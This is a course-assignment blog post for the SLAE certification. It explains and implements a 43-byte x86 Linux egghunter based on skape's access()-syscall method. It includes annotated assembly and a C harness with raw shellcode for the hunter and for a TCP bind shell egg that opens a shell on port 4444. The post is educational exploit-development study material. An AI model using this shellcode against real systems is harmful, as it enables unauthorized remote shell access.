SLAE A.3 - Egghunter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1294

This third assignment is to create an demonstration of egghunter shellcode for x86 Linux, with a configurable “egg” payload. The full source code and associated build script is available on GitHub. This demo weighs in at 43 bytes assembled, which is suboptimal but okay for showing the concept.

The purpose of an egghunter is to use a size-constrained executable payload (the hunter) to locate a larger payload (the egg) that has been somehow placed elsewhere in memory, perhaps on the stack or the heap.

The egg is typically detected by prepending a header of 8 distinctive bytes. It is assumed that this pattern will not naturally occur in normal program code or data, so once it is found it is likely to be the egg. This demo further assumes that the egg is located in an executable page and the hunter may simply jump to it.

The technique used here is one of the simpler approaches described in skape’s paper Safely Searching Process Virtual Address Space (pdf). The hunter walks the entire process’s memory space from bottom to top, detecting and skipping over pages that are not mapped, since attempting to read from an unmapped address like 0x00000001 would crash the shellcode. The paper provides several optimised iterations of example shellcode; this assignment is an original implementation that does much the same thing.

General design from the paper:

  • 8 byte headers consisting of the same 4 bytes repeated are convenient because the half-header will usually appear in the hunter—we don’t want it to find itself instead of the egg.
  • Linux pages are aligned 4096-byte blocks and we can and should skip page-by-page to get through the unmapped regions quickly.
  • A reliable and fast way to test if an address is mapped is to send a pointer to an appropriate syscall and see if it returns an error that we passed an invalid pointer.
  • A suitable syscall is access(), whose filename pointer argument can be used for this test. It will reliably return EFAULT (AL = 0xf2) if the pointer is in an invalid region.

Hunter setup

First define a couple of constants—one for access’s syscall number 33, and another for the specific return value if the pointer is not mapped.

	SYS_ACCESS 	equ 33
	EFAULT	        equ 0xf2

Next set some registers that will stay the same for the duration of the hunt. EDX is cleared to 0x0 but it will be incremented before the next test, so really our search begins at 0x1.

_start:

	; EDX is our potential target
	; Start at 0x1 and search upward byte by byte
	xor edx, edx
	; Set ECX to zero to represent "mode" parameter for access()
	xor ecx, ecx
	
	; Egg header (repeated twice in memory)
	mov esi, 0x40414243

Verify address with access()

For every target address in EDX we will use access() to check if we can safely read it. If access() doesn’t return EFAULT, that means it’s okay to read and we can jump to check_address, which tests for the egg header.

loop:
	inc edx
access_check:
	xor eax, eax
	mov al, SYS_ACCESS
	; Check the validity of [edx] and [edx+4] before reading them.
	; Since edx is ascending there shouldn't be any cases where
	; [edx+4] is mapped but [edx] is not - so check [edx+4] only
	lea ebx, [edx+4]
	int 0x80

	; If we didn't get EFAULT go on to looking for the egg header
	cmp al, EFAULT
	jnz short check_address

Skipping a page

If EFAULT did occur we should skip immediately to the next page. This will save 4095 calls to access() per page. First EDX is shifted 12 bits to the right so that whatever offset exists within the current page is discarded. EDX is then incremented to move to the next page, then shifted left again to create 12 zero bits. It is now pointing directly at the start of the page so we skip the inc edx and go straight to the next access_check.

	; There was a fault. Align EDX with the next page up
	shr edx, 12
	inc edx
	shl edx, 12

	; Start at 0 on the new page
	jmp short access_check

Testing for the egg header

Once we are satisfied that a given address in EDX is safe, we must test the memory location to see if it is the beginning of our egg. The pattern was stored in ESI so both [EDX] and [EDX+4] are compared with that register. If both of them match then execution falls through to the jump.

check_address:
	; check the 8 bytes at EDX to see if they container our egg header
	cmp [edx], esi
	jnz short loop
	cmp [edx+4], esi
	jnz short loop

	; They do - let's run the egg
	jmp edx

Egg execution

In this code the egg header is set to 0x40414243 repeated twice. These are a series of INC instructions on the general purpose registers. At the moment when the egg is found EDX will be pointing to the beginning of this header. The CPU will perform this set of increments twice before executing the actual target code. The target code probably can’t make any assumptions about the state of the registers anyway so these increments will do no harm.

Demonstration

It compiles and builds. In this situation I am testing it with the raw output of assignment 1, the TCP bind shell. The script outputs convenient hex for both the egg and the hunter, and also generates a C program containing both.

That test C program looks like this. It is arranged so that the egg will be somewhere in memory (the .data section in this case).

#include <stdio.h>
#include <string.h>
unsigned char code[] = "\x31\xd2\x31\xc9\xbe\x43\x42\x41\x40\x42\x31\xc0\xb0\x21\x8d\x5a\x04\xcd\x80\x3c\xf2\x75\x09\xc1\xea\x0c\x42\xc1\xe2\x0c\xeb\xea\x39\x32\x75\xe5\x39\x72\x04\x75\xe0\xff\xe2";
unsigned char egg[] = "\x43\x42\x41\x40\x43\x42\x41\x40\x31\xc0\x31\xdb\x31\xc9\x66\xb8\x67\x01\xb3\x02\xb1\x01\x31\xd2\xcd\x80\x89\xc7\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x66\xb8\x69\x01\x89\xfb\x89\xe1\xb2\x10\xcd\x80\x66\xb8\x6b\x01\x89\xfb\x31\xc9\xcd\x80\x66\xb8\x6c\x01\x89\xfb\x31\xc9\x31\xd2\x31\xf6\xcd\x80\x89\xc7\xb0\x3f\x89\xfb\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x89\xe1\x8d\x51\x04\xcd\x80";
int main(int argc, char *argv[]) {
	printf("strlen(shellcode) = %d\n", strlen(code));
	printf("strlen(egg) = %d\n", strlen(egg));
	int (*ret)() = (int(*)())code;
	ret();
}

When this test program is run it immediately runs the egghunter and launches the bind shell payload. I can see that it is now listening on port 4444. I can connect and use the shell. I could use any other egg payload if I wanted to by passing different machine code to the build script.